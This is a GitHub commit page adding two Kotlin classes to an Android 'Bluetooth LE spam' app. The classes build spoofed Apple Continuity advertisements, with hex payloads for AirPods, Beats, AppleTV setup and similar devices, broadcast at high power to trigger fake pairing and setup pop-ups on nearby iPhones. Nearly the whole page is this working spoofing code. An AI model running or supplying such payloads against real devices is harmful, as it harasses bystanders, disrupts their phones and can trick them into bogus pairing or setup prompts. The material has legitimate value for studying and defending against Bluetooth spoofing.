-
Notifications
You must be signed in to change notification settings - Fork 331
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #49 from simondankelmann/simondankelmann/iOsDevice…
…Popups Added Apple Device PopUps
- Loading branch information
Showing
25 changed files
with
1,894 additions
and
86 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
Binary file not shown.
91 changes: 91 additions & 0 deletions
91
...etoothlespam/AdvertisementSetGenerators/ContinuityActionModalAdvertisementSetGenerator.kt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
package de.simon.dankelmann.bluetoothlespam.AdvertisementSetGenerators | ||
|
||
import android.bluetooth.BluetoothDevice | ||
import android.bluetooth.le.AdvertiseSettings | ||
import android.bluetooth.le.AdvertisingSetParameters | ||
import android.util.Log | ||
import de.simon.dankelmann.bluetoothlespam.Callbacks.GenericAdvertisingSetCallback | ||
import de.simon.dankelmann.bluetoothlespam.Callbacks.GoogleFastPairAdvertisingCallback | ||
import de.simon.dankelmann.bluetoothlespam.Helpers.StringHelpers | ||
import de.simon.dankelmann.bluetoothlespam.Models.AdvertisementSet | ||
import de.simon.dankelmann.bluetoothlespam.Models.ManufacturerSpecificDataModel | ||
|
||
class ContinuityActionModalAdvertisementSetGenerator: IAdvertisementSetGenerator { | ||
|
||
private val _logTag = "ContinuityActionModalAdvertisementSetGenerator" | ||
|
||
// Device Data taken from here: | ||
// https://www.mobile-hacker.com/2023/09/07/spoof-ios-devices-with-bluetooth-pairing-messages-using-android/ | ||
|
||
val _deviceData = mapOf( | ||
"AppleTV Setup" to "04042a0000000f05c101604c95000010000000", | ||
"AppleTV Pair" to "04042a0000000f05c106604c95000010000000", | ||
"AppleTV New User" to "04042a0000000f05c120604c95000010000000", | ||
"AppleTV AppleID Setup" to "04042a0000000f05c12b604c95000010000000", | ||
"AppleTV Wireless Audio Sync" to "04042a0000000f05c1c0604c95000010000000", | ||
"AppleTV Homekit Setup" to "04042a0000000f05c10d604c95000010000000", | ||
"AppleTV Keyboard" to "04042a0000000f05c113604c95000010000000", | ||
"AppleTV ‘Connecting to Network’" to "04042a0000000f05c127604c95000010000000", | ||
"Homepod Setup" to "04042a0000000f05c10b604c95000010000000", | ||
"Setup New Phone" to "04042a0000000f05c109604c95000010000000", | ||
"Transfer Number to New Phone" to "04042a0000000f05c102604c95000010000000", | ||
"TV Color Balance" to "04042a0000000f05c11e604c95000010000000" | ||
) | ||
|
||
private val _manufacturerId = 76 // 0x004c == 76 = Apple | ||
override fun getAdvertisementSets(): List<AdvertisementSet> { | ||
var advertisementSets: MutableList<AdvertisementSet> = mutableListOf() | ||
|
||
_deviceData.map { deviceData -> | ||
|
||
var advertisementSet: AdvertisementSet = AdvertisementSet() | ||
|
||
// Advertise Settings | ||
advertisementSet.advertiseSettings.advertiseMode = | ||
AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY | ||
advertisementSet.advertiseSettings.txPowerLevel = | ||
AdvertiseSettings.ADVERTISE_TX_POWER_HIGH | ||
advertisementSet.advertiseSettings.connectable = true | ||
advertisementSet.advertiseSettings.timeout = 0 | ||
|
||
// Advertising Parameters | ||
advertisementSet.advertisingSetParameters.legacyMode = true | ||
advertisementSet.advertisingSetParameters.interval = | ||
AdvertisingSetParameters.INTERVAL_MIN | ||
advertisementSet.advertisingSetParameters.txPowerLevel = | ||
AdvertisingSetParameters.TX_POWER_HIGH | ||
advertisementSet.advertisingSetParameters.primaryPhy = BluetoothDevice.PHY_LE_CODED | ||
advertisementSet.advertisingSetParameters.secondaryPhy = BluetoothDevice.PHY_LE_2M | ||
|
||
// AdvertiseData | ||
advertisementSet.advertiseData.includeDeviceName = false | ||
|
||
val manufacturerSpecificData = ManufacturerSpecificDataModel() | ||
manufacturerSpecificData.manufacturerId = _manufacturerId | ||
manufacturerSpecificData.manufacturerSpecificData = | ||
StringHelpers.decodeHex(deviceData.value) | ||
|
||
Log.d( | ||
_logTag, | ||
"Created Bytearray with ${manufacturerSpecificData.manufacturerSpecificData.size} Bytes" | ||
) | ||
|
||
advertisementSet.advertiseData.manufacturerData.add(manufacturerSpecificData) | ||
advertisementSet.advertiseData.includeTxPower = false | ||
|
||
// Scan Response | ||
advertisementSet.scanResponse.includeTxPower = false | ||
|
||
// General Data | ||
advertisementSet.deviceName = deviceData.key | ||
|
||
// Callbacks | ||
advertisementSet.advertisingSetCallback = GenericAdvertisingSetCallback() | ||
advertisementSet.advertisingCallback = GoogleFastPairAdvertisingCallback() | ||
|
||
advertisementSets.add(advertisementSet) | ||
} | ||
|
||
return advertisementSets.toList() | ||
} | ||
} |
89 changes: 89 additions & 0 deletions
89
...etoothlespam/AdvertisementSetGenerators/ContinuityDevicePopUpAdvertisementSetGenerator.kt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
package de.simon.dankelmann.bluetoothlespam.AdvertisementSetGenerators | ||
|
||
import android.bluetooth.BluetoothDevice | ||
import android.bluetooth.le.AdvertiseSettings | ||
import android.bluetooth.le.AdvertisingSetParameters | ||
import android.util.Log | ||
import de.simon.dankelmann.bluetoothlespam.Callbacks.GenericAdvertisingSetCallback | ||
import de.simon.dankelmann.bluetoothlespam.Callbacks.GoogleFastPairAdvertisingCallback | ||
import de.simon.dankelmann.bluetoothlespam.Helpers.StringHelpers | ||
import de.simon.dankelmann.bluetoothlespam.Models.AdvertisementSet | ||
import de.simon.dankelmann.bluetoothlespam.Models.ManufacturerSpecificDataModel | ||
|
||
class ContinuityDevicePopUpAdvertisementSetGenerator: IAdvertisementSetGenerator { | ||
|
||
private val _logTag = "ContinuityAdvertisementSetGenerator" | ||
|
||
// Device Data taken from here: | ||
// https://www.mobile-hacker.com/2023/09/07/spoof-ios-devices-with-bluetooth-pairing-messages-using-android/ | ||
|
||
val _deviceData = mapOf( | ||
"Airpods" to "071907022075aa3001000045121212000000000000000000000000", | ||
"Airpods Pro" to "0719070e2075aa3001000045121212000000000000000000000000", | ||
"Airpods Max" to "0719070a2075aa3001000045121212000000000000000000000000", | ||
"Airpods Gen 2" to "0719070f2075aa3001000045121212000000000000000000000000", | ||
"Airpods Gen 3" to "071907132075aa3001000045121212000000000000000000000000", | ||
"Airpods Pro Gen 2" to "071907142075aa3001000045121212000000000000000000000000", | ||
"PowerBeats" to "071907032075aa3001000045121212000000000000000000000000", | ||
"PowerBeats Pro" to "0719070b2075aa3001000045121212000000000000000000000000", | ||
"Beats Solo Pro" to "0719070c2075aa3001000045121212000000000000000000000000", | ||
"Beats Studio Buds" to "071907112075aa3001000045121212000000000000000000000000", | ||
"Beats Flex" to "071907102075aa3001000045121212000000000000000000000000", | ||
"BeatsX" to "071907052075aa3001000045121212000000000000000000000000", | ||
"Beats Solo3" to "071907062075aa3001000045121212000000000000000000000000", | ||
"Beats Studio3" to "071907092075aa3001000045121212000000000000000000000000", | ||
"Beats Studio Pro" to "071907172075aa3001000045121212000000000000000000000000", | ||
"Beats Fit Pro" to "071907122075aa3001000045121212000000000000000000000000", | ||
"Beats Studio Buds+" to "071907162075aa3001000045121212000000000000000000000000" | ||
) | ||
|
||
private val _manufacturerId = 76 // 0x004c == 76 = Apple | ||
override fun getAdvertisementSets(): List<AdvertisementSet> { | ||
var advertisementSets:MutableList<AdvertisementSet> = mutableListOf() | ||
|
||
_deviceData.map {deviceData -> | ||
|
||
var advertisementSet:AdvertisementSet = AdvertisementSet() | ||
|
||
// Advertise Settings | ||
advertisementSet.advertiseSettings.advertiseMode = AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY | ||
advertisementSet.advertiseSettings.txPowerLevel = AdvertiseSettings.ADVERTISE_TX_POWER_HIGH | ||
advertisementSet.advertiseSettings.connectable = true | ||
advertisementSet.advertiseSettings.timeout = 0 | ||
|
||
// Advertising Parameters | ||
advertisementSet.advertisingSetParameters.legacyMode = true | ||
advertisementSet.advertisingSetParameters.interval = AdvertisingSetParameters.INTERVAL_MIN | ||
advertisementSet.advertisingSetParameters.txPowerLevel = AdvertisingSetParameters.TX_POWER_HIGH | ||
advertisementSet.advertisingSetParameters.primaryPhy = BluetoothDevice.PHY_LE_CODED | ||
advertisementSet.advertisingSetParameters.secondaryPhy = BluetoothDevice.PHY_LE_2M | ||
|
||
// AdvertiseData | ||
advertisementSet.advertiseData.includeDeviceName = false | ||
|
||
val manufacturerSpecificData = ManufacturerSpecificDataModel() | ||
manufacturerSpecificData.manufacturerId = _manufacturerId | ||
manufacturerSpecificData.manufacturerSpecificData = StringHelpers.decodeHex(deviceData.value) | ||
|
||
Log.d(_logTag, "Created Bytearray with ${manufacturerSpecificData.manufacturerSpecificData.size} Bytes") | ||
|
||
advertisementSet.advertiseData.manufacturerData.add(manufacturerSpecificData) | ||
advertisementSet.advertiseData.includeTxPower = false | ||
|
||
// Scan Response | ||
advertisementSet.scanResponse.includeTxPower = false | ||
|
||
// General Data | ||
advertisementSet.deviceName = deviceData.key | ||
|
||
// Callbacks | ||
advertisementSet.advertisingSetCallback = GenericAdvertisingSetCallback() | ||
advertisementSet.advertisingCallback = GoogleFastPairAdvertisingCallback() | ||
|
||
advertisementSets.add(advertisementSet) | ||
} | ||
|
||
return advertisementSets.toList() | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.